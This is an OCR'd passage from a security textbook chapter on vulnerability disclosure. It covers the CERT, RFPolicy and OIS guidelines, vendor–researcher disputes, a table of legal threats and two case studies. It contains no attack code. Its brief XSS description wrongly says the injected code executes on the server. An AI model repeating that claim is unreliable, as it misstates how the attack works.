CERT’s model, CERT is usually the “middle man” between the bug finder and the ven-
dor to try and help the process and enforce the necessary requirements of all of the
parties involved.

NOTE As of this writing, the model that is most commonly used is the
Organization for Internet Safety (OIS) guidelines, which is covered later in
this chapter. CERT works within this model when called upon by vendors
or gray hats.
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Reference

The CERT/CC Vulnerability Disclosure Policy
www.cert.org/kb/vul_disclosure.html

Full Disclosure Policy—the RainForest
Puppy Policy

A full disclosure policy known as RainForest Puppy Policy (RFP) version 2, takes a harder
line with software vendors than CERT/CC. This policy takes the stance that the reporter
of the vulnerability should make an effort to contact the vendor so they can work to-
gether to fix the problem, but the act of cooperating with the vendor is a step that the
reporter is not required to take. Under this model, strict policies are enforced upon the
vendor if it wants the situation to remain confidential. The details of the policy follow:

e The issue begins when the originator (the reporter of the problem) e-mails the
maintainer (the software vendor) with details about the problem. The moment
the e-mail is sent is considered the date of contact. The originator is responsible
for locating the maintainer’s appropriate contact information, which can
usually be obtained through the maintainer’s website. If this information is
not available, e-mails should be sent to one or all of the addresses shown next.

These common e-mail formats should be implemented by vendors:

security-alert@[maintainer|
secure@ [maintainer]
security@|maintainer]
support@|maintainer]
info@[maintainer]

e The maintainer will be allowed five days from the date of contact to reply to
the originator. The date of contact is from the perspective of the originator of
the issue, meaning if the person reporting the problem sends an e-mail from
New York at 10:00 A.M. to a software vendor in Los Angeles, the time of contact
is 10:00 A.M. Eastern time. The maintainer must respond within five days,
which would be 7:00 A.M. Pacific time. An auto-response to the originator’s
e-mail is not considered sufficient contact. If the maintainer does not establish
contact within the allotted timeframe, the originator is free to disclose the
information. Once contact has been made, decisions on delaying disclosures
should be discussed between the two parties. The RFP policy warns the vendor
that contact should be made sooner rather than later. It reminds the software
maker that the finder of the problem is under no obligation to cooperate, but
is simply being asked to do so for the best interests of all parties.

e The originator should make every effort to assist the vendor in reproducing
the problem and adhering to reasonable requests. It is also expected that the
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originator will show reasonable consideration if delays occur and if the vendor
shows legitimate reasons why it will take additional time to fix the problem.
Both parties should work together to find a solution.

e [t is the responsibility of the vendor to provide regular status updates every
five days that detail how the vulnerability is being addressed. It should also be
noted that it is solely the responsibility of the vendor to provide updates and
not the responsibility of the originator to request them.

e As the problem and fix are released to the public, the vendor is expected to
credit the originator for identifying the problem. This gesture is considered a
professional courtesy to the individual or company that voluntarily exposed
the problem. If this good faith effort is not executed, the originator will have
little motivation to follow these guidelines in the future.

e The maintainer and the originator should make disclosure statements in
conjunction with each other, so all communication will be free from conflict
or disagreement. Both sides are expected to work together throughout the
process.

e In the event that a third party announces the vulnerability, the originator and
maintainer are encouraged to discuss the situation and come to an agreement
on a resolution. The resolution could include: the originator disclosing the
vulnerability or the maintainer disclosing the information and available fixes
while also crediting the originator. The full disclosure policy also recommends
that all details of the vulnerability be released if a third party releases the
information first. Because the vulnerability is already known, it is the
responsibility of the vendor to provide specific details, such as the diagnosis,
the solution, and the timeframe for a fix to be implemented or released.

RainForest Puppy is a well-known hacker who has uncovered an amazing amount
of vulnerabilities in different products. He has a long history of successfully, and at
times unsuccessfully, working with vendors to help them develop fixes for the prob-
lems he has uncovered. The disclosure guidelines that he developed came from his
years of experience in this type of work and level of frustration that vendors not work-
ing with individuals like himself experienced once bugs were uncovered.

The key to these disclosure policies is that they are just guidelines and suggestions
on how vendors and bug finders should work together. They are not mandated and
cannot be enforced. Since the RFP policy takes a strict stance on dealing with vendors
on these issues, many vendors have chosen not to work under this policy. So another
set of guidelines was developed by a different group of people, which includes a long
list of software vendors.

Reference

Full Disclosure Policy (RFPolicy) v2 (RainForest Puppy)
www.wiretrip.net/rfp/policy.html
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Organization for Internet Safety (OIS)

There are three basic types of vulnerability disclosures: full disclosure, partial disclo-
sure, and nondisclosure. Each type has its advocates, and long lists of pros and cons can
be debated regarding each type. CERT and RFP take a rigid approach to disclosure prac-
tices; they created strict guidelines that were not always perceived as fair and flexible by
participating parties. The Organization for Internet Safety (OIS) was created to help meet
the needs of all groups and is the policy that best fits into a partial disclosure classifica-
tion. This section will give an overview of the OIS approach, as well as provide the step-
by-step methodology that has been developed to provide a more equitable framework
for both the user and the vendor.

A group of researchers and vendors formed the OIS with the goal of improving the
way software vulnerabilities are handled. The OIS members included @stake, Bind-
View Corp., The SCO Group, Foundstone, Guardent, Internet Security Systems, McAfee,
Microsoft Corporation, Network Associates, Oracle Corporation, SGI, and Symantec.
The OIS shut down after serving its purpose, which was to create the vulnerability
disclosure guidelines.

The OIS believed that vendors and consumers should work together to identify is-
sues and devise reasonable resolutions for both parties. It tried to bring together a
broad, valued panel that offered respected, unbiased opinions to make recommenda-
tions. The model was formed to accomplish two goals:

e Reduce the risk of software vulnerabilities by providing an improved method
of identification, investigation, and resolution.

¢ Improve the overall engineering quality of software by tightening the security
placed upon the end product.

Discovery

The process begins when someone finds a flaw in the software. The flaw may be discov-
ered by a variety of individuals, such as researchers, consumers, engineers, developers,
gray hats, or even casual users. The OIS calls this person or group the finder. Once the
flaw is discovered, the finder is expected to carry out the following due diligence:

1. Discover if the flaw has already been reported in the past.
2. Look for patches or service packs and determine if they correct the problem.
3. Determine if the flaw affects the product’s default configuration.
4. Ensure that the flaw can be reproduced consistently.
After the finder completes this “sanity check” and is sure that the flaw exists, the
issue should be reported. The OIS designed a report guideline, known as a vulnerability

summary report (VSR), that is used as a template to describe the issues properly. The VSR
includes the following components:
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e Finder’s contact information
e Security response policy
e Status of the flaw (public or private)

e Whether or not the report contains confidential information

o Affected products/versions

e Affected configurations

e Description of flaw

e Description of how the flaw creates a security problem

¢ Instructions on how to reproduce the problem

Notification

The next step in the process is contacting the vendor. This step is considered the most
important phase of the plan according to the OIS. Open and effective communication
is the key to understanding and ultimately resolving software vulnerabilities. The fol-
lowing are guidelines for notifying the vendor.
The vendor is expected to provide the following:
e Single point of contact for vulnerability reports.

e Contact information should be posted in at least two publicly accessible
locations, and the locations should be included in their security response

policy.
e Contact information should include:
e Reference to the vendor’s security policy
e A complete listing/instructions for all contact methods
¢ Instructions for secure communications

e Reasonable efforts to ensure that e-mails sent to the following formats are
rerouted to the appropriate parties:

e abuse@|[vendor]

e postmaster@[vendor]
e sales@[vendor]

¢ info@|vendor]

e support@[vendor]

e A secure communication method between itself and the finder. If the finder
uses encrypted transmissions to send a message, the vendor should reply in a
similar fashion.

e Cooperate with the finder, even if the finder uses insecure methods of
communication.
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The finder is expected to:

e Submit any found flaws to the vendor by sending a VSR to one of the
published points of contact.

¢ Send the VSR to one or many of the following addresses, if the finder cannot
locate a valid contact address:

e abuse@|vendor]

e postmaster@[vendor]
e sales@|vendor]

¢ info@[vendor]

e supports@[vendor]|

Once the VSR is received, some vendors will choose to notify the public that a flaw
has been uncovered and that an investigation is underway. The OIS encourages vendors
to use extreme care when disclosing information that could put users’ systems at risk.
Vendors are also expected to inform finders that they intend to disclose the information
to the public.

In cases where vendors do not wish to notify the public immediately, they still need
to respond to the finders. After the VSR is sent, a vendor must respond directly to the
finder within seven days to acknowledge receipt. If the vendor does not respond during
this time period, the finder should then send a Request for Confirmation of Receipt (RFCR).
The RFCR is basically a final warning to the vendor stating that a vulnerability has been
found, a notification has been sent, and a response is expected. The RFCR should also
include a copy of the original VSR that was sent previously. The vendor is then given
three days to respond.

If the finder does not receive a response to the RFCR in three business days, the
finder can notify the public about the software flaw. The OIS strongly encourages both
the finder and the vendor to exercise caution before releasing potentially dangerous
information to the public. The following guidelines should be observed:

¢ Exit the communication process only after trying all possible alternatives.

e Exit the process only after providing notice (an RFCR would be considered an
appropriate notice statement).

e Reenter the process once the deadlock situation is resolved.

The OIS encourages, but does not require, the use of a third party to assist with
communication breakdowns. Using an outside party to investigate the flaw and stand
between the finder and vendor can often speed up the process and provide a resolution
that is agreeable to both parties. A third party can be comprised of security companies,
professionals, coordinators, or arbitrators. Both sides must consent to the use of this
independent body and agree upon the selection process.

If all efforts have been made and the finder and vendor are still not in agreement,
either side can elect to exit the process. The OIS strongly encourages both sides to con-
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sider the protection of computers, the Internet, and critical infrastructures when decid-
ing how to release vulnerability information.

Validation

The validation phase involves the vendor reviewing the VSR, verifying the contents, and
working with the finder throughout the investigation. An important aspect of the vali-
dation phase is the consistent practice of updating the finder on the investigation’s
status. The OIS provides some general rules to follow regarding status updates:

e Vendor must provide status updates to the finder at least once every seven
business days unless another arrangement is agreed upon by both sides.

e Communication methods must be mutually agreed upon by both sides.
Examples of these methods include telephone, e-mail, FIP site, etc.

e If the finder does not receive an update within the seven-day window, it
should issue a Request for Status (RFS).

¢ The vendor then has three business days to respond to the RFS.

The RES is considered a courtesy, reminding the vendor that it owes the finder an
update on the progress being made on the investigation.

Investigation

The investigation work that a vendor undertakes should be thorough and cover all re-
lated products linked to the vulnerability. Often, the finder’s VSR will not cover all as-
pects of the flaw and it is ultimately the responsibility of the vendor to research all areas
that are affected by the problem, which includes all versions of code, attack vectors, and
even unsupported versions of software if these versions are still heavily used by con-
sumers. The steps of the investigation are as follows:

1. Investigate the flaw of the product described in the VSR.

2. Investigate if the flaw also exists in supported products that were not included
in the VSR.

3. Investigate attack vectors for the vulnerability.

4. Maintain a public listing of which products/versions the vendor currently
supports.

Shared Code Bases

Instances have occurred where one vulnerability is uncovered in a specific product,
but the basis of the flaw is found in source code that may spread throughout the in-
dustry. The OIS believes it is the responsibility of both the finder and the vendor to
notify all affected vendors of the problem. Although their Security Vulnerability Re-
porting and Response Policy does not cover detailed instructions on how to engage
several affected vendors, the OIS does offer some general guidelines to follow for this
type of situation.
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The finder and vendor should do at least one of the following action items:

® Make reasonable efforts to notify each vendor known to be affected by the flaw.

e Establish contact with an organization that can coordinate the
communication to all affected vendors.

e Appoint a coordinator to champion the communication effort to all affected
vendors.

Once the other affected vendors have been notified, the original vendor has the fol-
lowing responsibilities:

¢ Maintain consistent contact with the other vendors throughout investigation
and resolution process.

® Negotiate a plan of attack with the other vendors in investigating the flaw.
The plan should include such items as frequency of status updates and
communication methods.

Once the investigation is underway, the finder may need to assist the vendor. Some
examples of help that a vendor might need include: more detailed characteristics of the
flaw, more detailed information about the environment in which the flaw occurred
(network architecture, configurations, and so on), or the possibility of a third-party
software product that contributed to the flaw. Because re-creating a flaw is critical in
determining the cause and eventual solution, the finder is encouraged to cooperate
with the vendor during this phase.

NOTE Although cooperation is strongly recommended, the finder is required
to submit a detailed VSR.

Findings
When the vendor finishes its investigation, it must return one of the following conclu-
sions to the finder:

e [t has confirmed the flaw.
e [t has disproved the reported flaw.
e [t can neither prove nor disprove the flaw.

The vendor is not required to provide detailed testing results, engineering practices,
or internal procedures; however, it is required to demonstrate that a thorough, techni-
cally sound investigation was conducted. The vendor can meet this requirement by
providing the finder with:

e A list of tested product/versions
o A list of tests performed

e The test results



Chapter 3: Proper and Ethical Disclosure

59

Confirmation of the Flaw
In the event that the vendor confirms the flaw does indeed exist, it must follow up this
statement with the following action items:

e A list of products/versions affected by the confirmed flaw
e A statement on how a fix will be distributed

e A timeframe for distributing the fix

Disproof of the Flaw
In the event that the vendor disproves the reported flaw, the vendor then must show the
finder that one or both of the following are true:

e The reported flaw does not exist in the supported product.

e The behavior that the finder reported exists, but does not create a security
concern. If this statement is true, the vendor should forward validation data to
the finder, such as:

e Product documentation that confirms the behavior is normal or
nonthreatening.

e Test results that confirm the behavior is only a security concern when the
product is configured inappropriately.

e An analysis that shows how an attack could not successfully exploit this
reported behavior.

The finder may choose to dispute this conclusion of disproof by the vendor. In this
case, the finder should reply to the vendor with its own testing results that validate its
claim and contradict the vendor’s findings. The finder should also supply an analysis of
how an attack could exploit the reported flaw. The vendor is responsible for reviewing
the dispute, investigating it again, and responding to the finder accordingly.

Unable to Confirm or Disprove the Flaw
In the event the vendor cannot confirm or disprove the reported flaw, the vendor should
inform the finder of the results and produce detailed evidence of any investigative work.
Test results and analytical summaries should be forwarded to the finder. At this point,
the finder can move forward in the following ways:

e Provide code to the vendor that better demonstrates the proposed vulnerability.

e If no change is established, the finder can move to release their VSR to the
public. In this case, the finder should follow appropriate guidelines for
releasing vulnerability information to the public (covered later in the chapter).

Resolution

In cases where a flaw is confirmed, the vendor must take proper steps to develop a solu-
tion to fix the problem. Remedies should be created for all supported products and
versions of the software that are tied to the identified flaw. Although not required by
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either party, many times the vendor will ask the finder to provide assistance in evaluat-
ing if a proposed remedy will be effective in eliminating the flaw. The OIS suggests the
following steps when devising a vulnerability resolution:

1. Vendor determines if a remedy already exists. If one exists, the vendor should
notify the finder immediately. If not, the vendor begins developing one.

2. Vendor ensures that the remedy is available for all supported products/versions.

3. Vendors may choose to share data with the finder as it works to ensure the
remedy will be effective. The finder is not required to participate in this step.

Timeframe

Setting a timeframe for delivery of a remedy is critical due to the risk that the finder and,
in all probability, other users are exposed to. The vendor is expected to produce a rem-
edy to the flaw within 30 days of acknowledging the VSR. Although time is a top prior-
ity, ensuring that a thorough, accurate remedy is developed is equally important. The fix
must solve the problem and not create additional flaws that will put both parties back
in the same situation in the future. When notifying the finder of the target date for its
release of a fix, the vendor should also include the following supporting information:

¢ A summary of the risk that the flaw imposes
e The remedy’s technical details
e The testing process

e Steps to ensure a high uptake of the fix

The 30-day timeframe is not always strictly followed, because the OIS documenta-
tion outlines several factors that should be considered when deciding upon the release
date for the fix. One of the factors is “the engineering complexity of the fix.” What this
equates to is that the fix will take longer if the vendor identifies significant practical
complications in the process of developing the solution. For example, data validation
errors and buffer overflows are usually flaws that can be easily recoded, but when the
errors are embedded in the actual design of the software, then the vendor may actually
have to redesign a portion of the product.

CAUTION Vendors have released “fixes” that introduced new vulnerabilities
into the application or operating system—you close one window and open
two doors. Several times these “fixes” have also negatively affected the
application’s functionality. So although putting the blame on the network
administrator for not patching a system is easy, sometimes it is the worst
thing that he or she could do.

A vendor can typically propose one of two types of remedies: configuration changes
or software changes. A configuration change involve giving the user instructions on
how to change her program settings or parameters to effectively resolve the flaw. Soft-
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ware changes, on the other hand, involve more engineering work by the vendor. Soft-
ware changes can be divided into three main types:

e Patches Unscheduled or temporary remedies that address a specific problem
until a later release can completely resolve the issue.

e Maintenance updates Scheduled releases that regularly address many
known flaws. Software vendors often refer to these solutions as service packs,
service releases, or maintenance releases.

e Future product versions Large, scheduled software revisions that impact
code design and product features.

Vendors consider several factors when deciding which software remedy to imple-
ment. The complexity of the flaw and the seriousness of its effects are major factors in
deciding which remedy to implement. In addition, any established maintenance sched-
ule will also weigh in to the final decision. For example, if a service pack was already
scheduled for release in the upcoming month, the vendor may choose to address the
flaw within that release. If a scheduled maintenance release is months away, the vendor
may issue a specific patch to fix the problem.

NOTE Agreeing upon how and when the fix will be implemented is often a
major disconnect between finders and vendors.Vendors will usually want to
integrate the fix into their already scheduled patch or new version release.
Finders usually feel making the customer base wait this long is unfair and
places them at unnecessary risk just so the vendor doesn’t incur more costs.

Release

The final step in the OIS Security Vulnerability Reporting and Response Policy is to re-
lease information to the public. Information is assumed to be released to the overall
general public at one time and not in advance to specific groups. OIS does not advise
against advance notification but realizes that the practice exists in case-by-case instanc-
es and is too specific to address in the policy.

The main controversy surrounding OIS is that many people feel as though the
guidelines were written by the vendors and for the vendors. Opponents have voiced
their concerns that the guidelines allow vendors to continue to stonewall and deny
specific problems. If the vendor claims that a remedy does not exist for the vulnerabil-
ity, the finder may be pressured to not release the information on the discovered vul-
nerability.

Although controversy still surrounds the topic of the OIS guidelines, the guidelines
provide good starting point. Essentially, a line has been drawn in the sand. If all soft-
ware vendors use the OIS guidelines as their framework, and develop their policies to
be compliant with these guidelines, then customers will have a standard to hold the
vendors to.
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Conflicts Will Still Exist

The reasons for the common breakdown between the finder and the vendor are due to
their different motivations and some unfortunate events that routinely happen. Those
who discover vulnerabilities usually are motivated to protect the industry by identifying
and helping remove dangerous software from commercial products. A little fame, ad-
miration, and bragging rights are also nice for those who enjoy having their egos
stroked. Vendors, on the other hand, are motivated to improve their product, avoid
lawsuits, stay clear of bad press, and maintain a responsible public image.

There’s no question that software flaws are rampant. The Common Vulnerabilities
and Exposures (CVE) list is a compilation of publicly known vulnerabilities, in its tenth
year of publication. More than 40,000 bugs are catalogued in the CVE.

Vulnerability reporting considerations include financial, legal, and moral ones for
both researchers and vendors alike. Vulnerabilities can mean bad public relations for a
vendor that, to improve its image, must release a patch once a flaw is made public. But,
at the same time, vendors may decide to put the money into fixing software after it's
released to the public, rather than making it perfect (or closer to perfect) beforehand.
In that way, they use vulnerability reporting as after-market security consulting.

Vulnerability reporting can get a researcher in legal trouble, especially if the re-
searcher reports a vulnerability for software or a site that is later hacked. In 2006 at
Purdue University, a professor had to ask students in his computing class not to tell
him about bugs they found during class. He had been pressured by authorities to re-
lease the name of a previous student in his class who had found a flaw, reported it, and
later was accused of hacking the same site where he’d found the flaw. The student was
cleared, after volunteering himself, but left his professor more cautious about openly
discussing vulnerabilities.

Vulnerability disclosure policies attempt to balance security and secrecy, while be-
ing fair to vendors and researchers. Organizations like iDefense and ZDI (discussed in
detail later in the chapter in the section “iDefense and ZDI") attempt to create an equi-
table situation for both researchers and vendors. But as technology has grown more
complicated, so has the vulnerability disclosure market.

As code has matured and moved to the Web, a new wrinkle has been added to vul-
nerability reporting. Knowing what's a vulnerability on the Web—as web code is very
customized, changes quickly, and interacts with other code—is harder.

Cross-site scripting (XSS), for example, uses vulnerabilities on websites to insert
code to client systems, which then executes on the website’s server. It might steal cook-
ies or passwords or carry out phishing schemes. It targets users, not systems—so locat-
ing the vulnerability is, in this case, difficult, as is knowing how or what should be
reported. Web code is easier to hack than traditional software code and can be lucrative
for hackers.

The prevalence of XSS and other similar types of attacks and their complexity also
makes eliminating the vulnerabilities, if they are even found, harder. Because website
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code is constantly changing, re-creating the vulnerability can be difficult. And, in these
instances, disclosing these vulnerabilities might not reduce the risk of them being ex-
ploited. Some are skeptical about using traditional vulnerability disclosure channels
for vulnerabilities identified in website code.

Legally, website code may differ from typical software bugs, too. A software applica-
tion might be considered the user’s to examine for bugs, but posting proof of discovery
of a vulnerable Web system could be considered illegal because it isn't purchased like a
specific piece of software is. Demonstrating proof of a web vulnerability may be consid-
ered an unintended use of the system and could create legal issues for a vulnerability
researcher. For a researcher, giving up proof-of-concept exploit code could also mean
handing over evidence in a future hacking trial—code that could be seen as proof the
researcher used the website in a way the creator didn’t intend.

Disclosing web vulnerabilities is still in somewhat uncharted territory, as the infra-
structure for reporting these bugs, and the security teams working to fix them, are still
evolving. Vulnerability reporting for traditional software is still a work in progress, too.
The debate between full disclosure versus partial or no disclosure of bugs rages on.
Though vulnerability disclosure guidelines exist, the models are not necessarily keep-
ing pace with the constant creation and discovery of flaws. And though many disclosure
policies have been written in the information security community, they are not always
followed. If the guidelines aren’t applied to real-life situations, chaos can ensue.

Public disclosure helps improve security, according to information security expert
Bruce Schneier. He says that the only reason vendors patch vulnerabilities is because of
full disclosure, and that there’s no point in keeping a bug a secret—hackers will dis-
cover it anyway. Before full disclosure, he says, it was too easy for software companies
to ignore the flaws and threaten the researcher with legal action. Ignoring the flaws was
easier for vendors especially because an unreported flaw affected the software’s users
much more than it affected the vendor.

Security expert Marcus Ranum takes a dim view of public disclosure of vulnerabili-
ties. He says that an entire economy of researchers is trying to cash in on the vulnera-
bilities that they find and selling them to the highest bidder, whether for good or bad
purposes. His take is that researchers are constantly seeking fame and that vulnerability
disclosure is “rewarding bad behavior,” rather than making software better.

But the vulnerability researchers who find and report bugs have a different take,
especially when they aren’t getting paid. Another issue that has arisen is that gray hats
are tired of working for free without legal protection.

‘“No More Free Bugs”

In 2009, several gray hat hackers—Charlie Miller, Alex Sotirov, and Dino Dai Zovi—
publicly announced a new stance: “No More Free Bugs.” They argue that the value of
software vulnerabilities often doesn’t get passed on to gray hats, who find legitimate,
serious flaws in commercial software. Along with iDefense and ZDI, the software
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vendors themselves have their own employees and consultants who are supposed to
find and fix bugs. (“No More Free Bugs” is targeted primarily at the for-profit software
vendors that hire their own security engineer employees or consultants.)

The researchers involved in “No More Free Bugs” also argue that gray hat hackers
are putting themselves at risk when they report vulnerabilities to vendors. They have no
legal protection when they disclose a found vulnerability—so they're not only working
for free, but also opening themselves up to threats of legal action, too. And, gray hats
don't often have access to the right people at the software vendor, those who can create
and release the necessary patches. For many vendors, vulnerabilities mainly represent
threats to their reputation and bottom line, and they may stonewall researchers’ over-
tures, or worse. Although vendors create responsible disclosure guidelines for research-
ers to follow, they don’t maintain guidelines for how they treat the researchers.

Furthermore, these researchers say that software vendors often depend on them to
find bugs rather than investing enough in finding vulnerabilities themselves. It takes a
lot of time and skill to uncover flaws in today’s complex software and the founders of
the “No More Free Bugs” movement feel as though either the vendors should employ
people to uncover these bugs and identify fixes or they should pay gray hats who un-
cover them and report them responsibly.

This group of gray hats also calls for more legal options when carrying out and re-
porting on software flaws. In some cases, gray hats have uncovered software flaws and
the vendor has then threatened these individuals with lawsuits to keep them quiet and
help ensure the industry did not find out about the flaws. Table 3-1, taken from the
website http://attrition.org/errata/legal_threats/, illustrates different security flaws that
have been uncovered and the responding resolution or status of report.

Of course, along with iDefense and ZDI's discovery programs, some software ven-
dors do guarantee researchers they won't pursue legal action for reporting vulnerabili-
ties. Microsoft, for example, says it won't sue researchers “that responsibly submit
potential online services security vulnerabilities.” And Mozilla runs a “bug bounty pro-
gram” that offers researchers a flat $500 fee (plus a t-shirt!) for reporting valid, critical
vulnerabilities. In 2009, Google offered a cash bounty for the best vulnerability found
in Native Client.

Although more and more software vendors are reacting appropriately when vul-
nerabilities are reported (because of market demand for secure products), many peo-
ple believe that vendors will not spend the extra money, time, and resources to carry
out this process properly until they are held legally liable for software security issues.
The possible legal liability issues software vendors may or may not face in the future is
a can of worms we will not get into, but these issues are gaining momentum in the
industry.
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When Company Researchers Research Resolution/
Making Threat Topic Status
2009-07-18 RSA Scott Jarkoff Lack of SSL on C&D’ sent to Mr.
Navy Federal Jarkoff and his web
Credit Union host. Information
Home Page still available online
(2009-08-12).
2009-07-17 Comerica Bank Lance James XSS/phishing C&D sent to Tumblr,
vulnerabilities on information removed
Comerica site but vulnerability
still present (2009-
07-17).
2008-08-13 Sequoia Voting Ed Felten Voting machine Research still not
Systems audit published (2008-
10-02).
2008-08-09 Massachusetts Bay Zach Anderson, Electronic fare Gag order lifted,
Transit Authority R] Ryan, and payment (Charlie researchers hired
(MBTA) Alessandro Chiesa Card/Charlie by MBTA.
Ticket)
2008-07-09 NXP (formerly Philips Radboud University Mifare Classic Research published.
Semiconductors) Nijmegen card chip security
2007-12-06 Autonomy Corp., Secunia KeyView Research published.
PLC vulnerability
research
2007-07-29 U.S. Customs Halvar Flake Security training Researcher denied
material entry into U.S,,
training cancelled
last minute.
2007-04-17 BeThere (Be Un Sid Karunaratne Publishing ISP Researcher still in
limited) router backdoor talks with BeThere,
information passwords redacted,
patch supplied,
ISP service not
restored (2007-
07-06).
2007-02-27 HID Global Chris Paget/ RFID security Talk pulled, research
I0Active problems not published.
2007-22-22 TippingPoint David Maynor/ Reversing Unknown: appears
Technologies, Inc. ErrataSec TippingPoint rule threats and FBI visit
set to discover stifled publication.
vulnerabilities
2005-07-29 Cisco Systems, Inc. Mike Lynn/ISS Cisco router Resigned from ISS
vulnerabilities before settlement,
gave BlackHat
presentation, future
disclosure injunction
agreed on.
2005-03-25 Sybase, Inc. Next-Generation Sybase Database Threat dropped,
Security Software vulnerabilities research published.
Table 3-1 Vulnerability Disclosures and Resolutions
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When Company Researchers Research Resolution/
Making Threat Topic Status
2003-09-30 Blackboard Billy Hoffman and Blackboard issued Confidential
Transaction System Virgil Griffith C&D to InterzOne  agreement reached
conference, filed between Hoffman,
complaint against Griffith, and
students Blackboard.
2002-07-30 Hewlett-Packard SNOsoft Trué4 Unix OS Vendor/researcher
Development vulnerability, agree on future
Company, L.P. (HP) DMCA-based timeline; additional
threat Trué4 vulnerabilities
published; HP asks
Neohapsis for
OpenSSL exploit
code shortly after.
2001-07-16 Adobe Systems Dmitry Sklyarov & Adobe eBook ElcomSoft found
Incorporated ElcomSoft AEBPR Bypass not guilty.
2001-04-23 Secure Digital Music Ed Felten Four watermark Research published
Initiative (SDMI), protection at USENIX 2001.
Recording Industry schemes bypass,
Association of DMCA-based
America (RIAA) and threat
Verance Corporation
2000-08-17 Motion Picture 2600:The Hacker DVD encryption DeCSS ruled “not a

Association of
America (MPAA) &
DVD Copy Control
Association (DVD
CCA)

C&D stands for cease and desist.

Quarterly

breaking software
(DeCSS)

trade secret.”

Table 3-1
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Case Studies

The fundamental issue that this chapter addresses is how to report discovered vulnera-
bilities responsibly. The issue sparks considerable debate and has been a source of con-
troversy in the industry for some time. Along with a simple “yes” or “no” to the ques-
tion of whether there should be full disclosure of vulnerabilities to the public, other
factors should be considered, such as how communication should take place, what is-
sues stand in the way of disclosure, and what experts on both sides of the argument are
saying. This section dives into all of these pressing issues, citing recent case studies as
well as industry analysis and opinions from a variety of experts.

Pros and Cons of Proper Disclosure Processes

Following professional procedures in regard to vulnerability disclosure is a major issue
that should be debated. Proponents of disclosure want additional structure, more rigid
guidelines, and ultimately more accountability from vendors to ensure vulnerabilities
are addressed in a judicious fashion. The process is not so cut and dried, however. There
are many players, many different rules, and no clear-cut winners. It's a tough game to
play and even tougher to referee.

The Security Community’s View
The top reasons many bug finders favor full disclosure of software vulnerabilities are:

e The bad guys already know about the vulnerabilities anyway, so why not
release the information to the good guys?

e [f the bad guys don’t know about the vulnerability, they will soon find out
with or without official disclosure.

e Knowing the details helps the good guys more than the bad guys.
e Effective security cannot be based on obscurity.

e Making vulnerabilities public is an effective tool to use to make vendors
improve their products.

Maintaining their only stronghold on software vendors seems to be a common
theme that bug finders and the consumer community cling to. In one example, a cus-
tomer reported a vulnerability to his vendor. A full month went by with the vendor ig-
noring the customer’s request. Frustrated and angered, the customer escalated the issue
and told the vendor that if he did not receive a patch by the next day, he would post the
full vulnerability on a user forum web page. The customer received the patch within
one hour. These types of stories are very common and continually introduced by the
proponents of full vulnerability disclosure.

The Software Vendors’ View
In contrast, software vendors view full disclosure with less enthusiasm:

¢ Only researchers need to know the details of vulnerabilities, even specific
exploits.
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e When good guys publish full exploitable code they are acting as black hats
and are not helping the situation, but making it worse.

e Full disclosure sends the wrong message and only opens the door to more
illegal computer abuse.

Vendors continue to argue that only a trusted community of people should be privy
to virus code and specific exploit information. They state that groups such as the AV
Product Developers’ Consortium demonstrate this point. All members of the consor-
tium are given access to vulnerability information so research and testing can be done
across companies, platforms, and industries. They do not feel that there is ever a need
to disclose highly sensitive information to potentially irresponsible users.

Knowledge Management

A case study at the University of Oulu titled “Communication in the Software Vulner-
ability Reporting Process” analyzed how the two distinct groups (reporters and receiv-
ers) interacted with one another and worked to find the root cause of breakdowns. The
researchers determined that this process involved four main categories of knowledge:

e Know-what
e Know-why
e Know-how

e Know-who

The know-how and know-who are the two most telling factors. Most reporters don't
know who to call and don’t understand the process that should be followed when they
discover a vulnerability. In addition, the case study divides the reporting process into
four different learning phases, known as interorganizational learning:

e Socialization stage When the reporting group evaluates the flaw internally
to determine if it is truly a vulnerability

e Externalization phase When the reporting group notifies the vendor
of the flaw

e Combination phase When the vendor compares the reporter’s claim with its
own internal knowledge of the product

¢ Internalization phase The receiving vendors accepting the notification and
pass it on to their developers for resolution

One problem that apparently exists in the reporting process is the disconnect—and
sometimes even resentment—between the reporting party and the receiving party. Com-
munication issues seem to be a major hurdle for improving the process. From the case
study, researchers learned that over 50 percent of the receiving parties who had received
potential vulnerability reports indicated that less than 20 percent were actually valid. In
these situations, the vendors waste a lot of time and resources on bogus issues.
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Publicity The case study at the University of Oulu included a survey that asked the
question whether vulnerability information should be disclosed to the public, although
the question was broken down into four individual statements that each group was
asked to respond to:

e All information should be public after a predetermined time.
e All information should be public immediately.
e Some part of the information should be made public immediately.

e Some part of the information should be made public after a predetermined
time.

As expected, the feedback from the questions validated the assumption that there is
a decidedly marked difference of opinion between the reporters and the vendors. The
vendors overwhelmingly feel that all information should be made public after a prede-
termined time and feel much more strongly about all information being made imme-
diately public than the receivers.

The Tie That Binds To further illustrate the important tie between reporters and
vendors, the study concluded that the reporters are considered secondary stakeholders
of the vendors in the vulnerability reporting process. Reporters want to help solve the
problem, but are treated as outsiders by vendors. The receiving vendors often consider
it to be a sign of weakness if they involve a reporter in their resolution process. The
concluding summary was that both participants in the process rarely have standard
communications with one another. Ironically, when asked about ways to improve the
process, both parties indicated that they thought communication should be more in-
tense. Go figure!

Team Approach
Another study, titled “The Vulnerability Process: A Tiger Team Approach to Resolving
Vulnerability Cases,” offers insight into the effective use of teams within the reporting
and receiving parties. To start, the reporters implement a tiger team, which breaks the
functions of the vulnerability reporter into two subdivisions: research and manage-
ment. The research team focuses on the technical aspects of the suspected flaw, while
the management team handles the correspondence with the vendor and ensures proper
tracking.

The tiger team approach breaks down the vulnerability reporting process into the
following lifecycle:

1. Research Reporter discovers the flaw and researches its behavior.

2. Verification Reporter attempts to re-create the flaw.

3. Reporting Reporter sends notification to receiver giving thorough details
about the problem.

4. Evaluation Receiver determines if the flaw notification is legitimate.
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. Repairing Solutions are developed.
. Patch evaluation The solution is tested.
. Patch release The solution is delivered to the reporter.

. Advisory generation The disclosure statement is created.

O 00 N & U

. Advisory evaluation The disclosure statement is reviewed for accuracy.
10. Advisory release The disclosure statement is released.

11. Feedback The user community offers comments on the vulnerability/fix.

Communication When observing the tendencies of reporters and receivers, the
case study researchers detected communication breakdowns throughout the process.
They found that factors such as holidays, time zone differences, and workload issues
were most prevalent. Additionally, it was concluded that the reporting parties were
typically prepared for all their responsibilities and rarely contributed to time delays.
The receiving parties, on the other hand, often experienced lag time between phases
mostly due to difficulties spreading the workload across a limited staff. This finding
means the gray hats were ready and willing to be a responsible party in this process but
the vendor stated that it was too busy to do the same.

Secure communication channels between reporters and receivers should be estab-
lished throughout the lifecycle. This requirement sounds simple, but, as the research
